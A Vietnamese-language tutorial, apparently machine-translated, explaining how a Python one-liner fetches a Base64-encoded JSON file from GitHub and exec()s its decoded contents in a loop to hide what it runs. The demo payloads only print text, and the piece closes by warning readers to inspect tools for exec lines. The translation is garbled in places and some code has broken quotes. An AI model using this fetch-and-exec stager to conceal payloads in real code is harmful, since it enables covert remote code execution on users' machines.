Chúng ta sẽ khám phá cách thức hoạt động của nó bằng cách tạo một dòng duy nhất tải xuống và chạy các dòng Python có khả năng vô hạn. Kẻ tấn công có thể sử dụng điều này để che giấu một trọng tải thực sự đáng ngờ, gây tổn hại theo cách mà một người chỉ lướt qua một công cụ bảo mật.
Cách chúng ta sẽ giải nén điều này là bằng cách mã hóa các lệnh khác nhau của chúng tôi trong Base64 và sau đó tải nó lên một đối tượng JSON để chúng ta có thể kéo nó xuống, giải mã chúng và chạy từng cái một – tất cả trong khi giữ mọi thứ trong một dòng duy nhất của Python.
Cài đặt hoặc cập nhật Python 3
Để làm theo, bạn sẽ cần cài đặt Python 3 trên máy tính của mình. Không chắc chắn nếu bạn có nó? Gõ python3 –version vào một cửa sổ terminal để tìm hiểu.
~$ python3 --version
Python 3.7.6
Nếu bạn không có phiên bản mới nhất của Python 3, làm một bản cập nhật sudo apt và sudo apt cài đặt python3 trong một cửa sổ terminal.
~$ sudo apt update
[sudo] password for kali:
Hit:1 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
1015 packages can be upgraded. Run 'apt list --upgradable' to see them.
~$ sudo apt install python3
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
dkms libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libpython3.7-dev linux-headers-amd64 python3.7-dev
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
...
Processing triggers for desktop-file-utils (0.24-1) ...
Processing triggers for mime-support (3.64) ...
Processing triggers for libc-bin (2.29-9) ...
Processing triggers for systemd (244-3) ...
Processing triggers for man-db (2.9.0-2) ...
Processing triggers for kali-menu (2020.1.7) ...
Processing triggers for initramfs-tools (0.135+kali1) ...
update-initramfs: Generating /boot/initrd.img-5.4.0-kali3-amd64
Cài đặt IDE PyCharm (Tùy chọn)
Để xây dựng một lớp lót của chúng tôi, chúng tôi sẽ sử dụng PyCharm, một IDE Python (môi trường phát triển tích hợp). Bạn có thể sử dụng một cái gì đó khác, nhưng nếu bạn muốn PyCharm, bạn có thể tải xuống và cài đặt nó từ trang web của nó (https://www.jetbrains.com/pycharm/download/) . Phiên bản cộng đồng miễn phí đủ tốt cho những gì chúng ta cần và nó hoạt động trên Windows, macOS và Linux.
Làm việc thông qua cuộc tấn công
Hãy xem mã một lớp lót bên dưới, cố gắng che giấu những gì nó đang làm. Đó là một mô hình tốt để hiểu cách mà một trình điều khiển cơ bản có thể hoạt động. Thoạt nhìn có vẻ khá cơ bản vì tất cả có vẻ như nó đang yêu cầu một số dữ liệu và thực thi những gì trông giống như một chuỗi được mã hóa Base64.
import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8'))
Nếu bạn biết bất cứ điều gì về lập trình, mã đó khá đáng báo động vì bạn không biết chuỗi trong chuỗi là gì và bạn không biết chính xác nó sẽ làm gì. Nó có thể bị xáo trộn hơn nữa để điều duy nhất bạn thực sự nhìn thấy chỉ là chuỗi Base64. Bạn có thể ẩn một chuỗi lệnh thực sự dài đằng sau một hàm exec để che giấu những gì đang thực sự xảy ra.
Điểm của tất cả điều này là gì? Điều tồi tệ nhất có thể xảy ra nếu bạn chạy mã?
Hãy lấy một trọng tải như bên dưới và chạy nó trong PyCharm.
print("The operaton was a success")
print("If you see this multi-line works")
print("Now just riding the train")
Bạn có thể thấy nó chỉ là một vài câu lệnh in thực tế hoạt động.
The operaton was a success
If you see this multi-line works
Now just riding the train
Bây giờ, hãy quay lại lớp lót đó và xem dạng thô của URL được liên kết cho tệp JSON trong trình duyệt web để xem nó trông như thế nào.
https://raw.githubusercontent.com/skickar/Research/master/twitter1.json
{
"m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=",
"m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==",
"m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}
Nếu chúng ta xem đầu vào JSON, chúng ta có thể thấy rằng đây là mã thực tế trông như thế nào:
{
"m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}
Tất cả đều khá khó hiểu và thực sự không có ý nghĩa nhiều với người bình thường nếu họ nhìn thấy nó. Đó không phải là một loạt các lệnh rõ ràng, và họ sẽ phải giải mã từng lệnh để thực sự thấy những gì đang xảy ra.
Vì vậy, nếu có một loạt các lệnh vô hại trong JSON cộng với một vài lệnh độc hại hoặc nếu bạn có thể gọi các lệnh theo một thứ tự khác để về cơ bản bạn có thể xây dựng một cấu trúc độc hại, thì trò chơi bắt đầu thay đổi. Đó là bởi vì chúng tôi không biết họ đang được gọi theo thứ tự nào. Và bạn có thể làm tất cả các loại khác để làm xáo trộn cách thức hoạt động của mã.
Đây là tất cả các mức độ lừa dối mà một người đặt cược có thể sử dụng để che giấu ý định thực sự của nó là gì. Bạn không muốn bỏ phần mềm độc hại tốt nhất của mình ngay lập tức và sau đó có tất cả các khai thác của bạn ở đó để nếu ai đó bắt được nó, họ biết chính xác cách chống lại nó.
Bây giờ, làm thế nào để chúng ta có được các lệnh Python này thực sự là các chuỗi và làm thế nào để chúng ta chạy nó một cách chính xác khi chúng ta thực thi nó?
Nếu chúng ta lấy một dòng mã của mình từ trình quản lý và chạy nó trong Python, thì chúng ta có thể thấy điều gì xảy ra. Như bạn có thể thấy bên dưới, chúng tôi đã đạt được một loạt các báo cáo in và đó không thực sự là những gì chúng tôi đang mong đợi vì nó khá ngắn. Vì vậy, có rất nhiều văn bản ở đây phát ra từ các lệnh và chúng tôi thực sự không biết điều gì đang xảy ra bên cạnh những tuyên bố in này. Bên cạnh những thứ đó, chúng ta có thể có một tình huống mà những thứ khác đang thực thi trên máy tính và tất cả những gì chúng ta thấy là một thứ lừa đảo đang cố lừa chúng ta nghĩ rằng mọi thứ đều ổn.
~$ python3
Python 3.8.2 (default, Apr 1 2020, 15:52:55)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8'))
You should NEVER just let some random Python program Exec code on your system!?!?!
Are you fucking crazy???
But while you're here, how does this script work? Well, it's stupid, and great
What it does is request some JSON data from Github, which is loaded with base64 strings
This code takes that JSON object and decodes the base64 strings, which are actually Python commands
Then, it blindly executes them on your soft, vulnerable system, but beceuase the JSON keys are organized to add as many as you want, it's easy to add commands.
>>> quit()
Bây giờ, chúng ta hãy xem tập lệnh Python mà chúng ta đã chạy trong PyCharm và chúng ta có thể thấy các câu lệnh in sẽ chạy.
print("The operaton was a success")
print("If you see this multi-line works")
print("Now just riding the train")
Khi chạy, chúng ta sẽ nhận được điều này:
The operaton was a success
If you see this multi-line works
Now just riding the train
Nếu chúng ta muốn mã hóa nó để chúng ta có thể tải nó lên trong đối tượng JSON, điều chúng ta có thể làm là chạy base64 với tên tệp mà chúng ta đã sử dụng để lưu nó trên hệ thống của mình (bạn có thể là một thứ khác). Điều đó sẽ mã hóa nội dung của tệp văn bản.
~$ base64 yourpythonfilehere.py
cMJpbnQoIlRoZSBvYXRpb24gd2FzIGEgc3VjY2VzcyIpCnByaW50KCJJZiB5b3Ugc2VlIHRoaXMsIG11bHRpLWxpbmUgd29ya3MiKQpwcmludCgiTm93IGp1c3QgcmlkaW5nIHRoZSB0cmFpbiIpCg==
Nếu tôi thực thi nó sau khi giải mã nó, nó sẽ tiếp tục và không chỉ bảo toàn mã ở đó mà cả ngắt dòng, vì vậy tôi có thể chạy mã nhiều dòng trong một đối tượng base64. Đó là một lợi thế bởi vì bạn có thể có một đối tượng dài trông giống như đó là một điều duy nhất trong khi thực tế nó có thể là một loạt các dòng mã khác nhau được nhồi nhét thành một.
Điều này thật tuyệt nếu chúng ta muốn làm cho nó khó phân tích. Nói chung, quy trình của chúng tôi sẽ viết các tải trọng khác nhau, chuyển đổi chúng thành chuỗi Base64 và thả chúng vào cấu trúc dữ liệu như chúng ta thấy ở đây:
{
"m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}
Với mỗi một trong những thông điệp này, chúng ta có một lệnh khác được gọi.
Chúng ta hãy quay lại PyCharm để xem điều gì xảy ra khi chúng ta cố gắng phân tích mã. Thay vì thực hiện điều sơ sài, chúng tôi sẽ chỉ in nó bằng cách thay đổi “exec” thành “print” trong dòng.
import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); print(base64.b64decode(data["m1]).decode('utf-8'))
Bây giờ, hãy chạy nó dưới dạng stager và chúng ta có thể thấy như sau:
for i in range (2,(len(data) + 1)): exec(base64.b64decode(data[m{}'.format(i)]).decode('utf-8'))
Process finished with exit code 8
Những gì mã đang làm là bắt đầu một vòng lặp. Nó bắt đầu từ 2 và nó chạy suốt chiều dài của dữ liệu, do đó, có nhiều thông điệp khác nhau mà chúng ta đặt trong đối tượng JSON của mình. Nó được thiết kế linh hoạt để nó thực sự đảm bảo rằng nó bao gồm mọi thông điệp duy nhất có trong đối tượng JSON. Chúng ta có thể tạo ra bao nhiêu tùy ý và mã sẽ tìm thấy chúng và thực thi từng cái một.
Bây giờ, .format này đang tạo ra nó để mỗi lần chúng ta đi qua vòng lặp, chúng ta sử dụng biến hiện tại “i”, bắt đầu từ, trong trường hợp này là 2, và sau đó chạy đến hết chiều dài của dữ liệu, cộng với một. Tôi đã làm điều này bởi vì tôi không thực sự bắt đầu “m” ở mức 0. Tôi nên bắt đầu từ con số 0 để dễ dàng hơn. Tuy nhiên, đối với một bản nháp thô, đó là một cách khá hay để giải thích cách bạn có thể lặp qua một loạt các tin nhắn bằng cách sử dụng m.format hoặc một số định dạng khác, để sử dụng “i” của vòng lặp để chuyển qua từng tin nhắn của bạn . Để làm cho điều đó thực sự rõ ràng, chúng ta có m1, m2 và m3 và đây là tất cả các khóa trong đối tượng JSON của chúng ta.
Cách mà JSON hoạt động là chúng ta có một khóa, sau đó là dấu hai chấm, rồi giá trị. Để truy cập chúng, bằng Python, chúng ta cần đảm bảo rằng trước tiên chúng ta chỉ định khóa và sau đó là giá trị. Chúng tôi đang chỉ định m1, sẽ là chìa khóa và về cơ bản chúng tôi yêu cầu dữ liệu bên trong nó là giá trị mà chúng tôi thay thế, vì vậy những gì chúng tôi đang làm là nói “này, tôi muốn đặt bất cứ phần nào của vòng lặp tính bằng m, để giải mã nó và thả nó ngay tại đây, sau đó thực hiện nó trong vòng lặp này. “
Đó là cách mà chúng tôi có thể giải nén mã Python của mình và chạy một vòng lặp nhảy qua tất cả các thông báo chúng tôi đã tải lên. Tôi chỉ sử dụng m1 làm ví dụ, nhưng bất kỳ chuỗi số nào cũng sẽ hoạt động tốt.
Với điều này, chúng ta có thể tiếp tục và thay thế “bản in” của mình trở lại thành “exec”. Bây giờ, thay vì nhìn thấy dòng mã đầu tiên, nó đã đi qua và thực hiện tất cả các thông báo mà chúng ta có trong đối tượng JSON.
Đối với một người mới bắt đầu, đây sẽ là một điều khá điên rồ khi bỏ lỡ bởi vì một dòng đơn giản như thế này, hoặc thậm chí là một dòng khó hiểu hơn, chỉ thực hiện và giải mã một chuỗi Base64 sẽ không thực sự là thứ họ muốn nhảy vào và cố gắng giải mã bởi vì họ có thể không hiểu nó nghiêm trọng như thế nào.
Nhưng đối với bất kỳ ai có nhiều kinh nghiệm mã hóa hơn một thứ giống như giải mã Base64 và chuỗi dài, sẽ mang lại cho bạn nhiều báo động bởi vì, nếu lệnh đó là phần còn lại của điều này, thì bạn có thể gặp nhiều rắc rối như nó tải xuống và thực thi nhiều dòng cùng một lúc và thực sự làm bất cứ điều gì nó muốn trên hệ thống của bạn
Kiểm tra các công cụ mới để biết các dòng mã đáng ngờ
Nếu bạn học được bất cứ điều gì từ điều này, thì bạn không nên tiếp tục tải xuống và chạy bất kỳ công cụ bảo mật mới nào mà không thông qua nó trước và chú ý cụ thể đến bất kỳ dòng mã nào đang thực thi những điều bạn không hiểu.
Hàm exec trong Python cực kỳ mạnh mẽ và rất nguy hiểm khi chạy nếu bạn không hiểu nó đang làm gì. Vì vậy, bất cứ khi nào bạn nhìn thấy nó trong một dòng mã, hãy chắc chắn rằng bạn biết những gì đang xảy ra bởi vì nó có thể chạy trong trường hợp của chúng tôi có khả năng là những dòng mã vô hạn mà bạn không biết họ đang làm gì.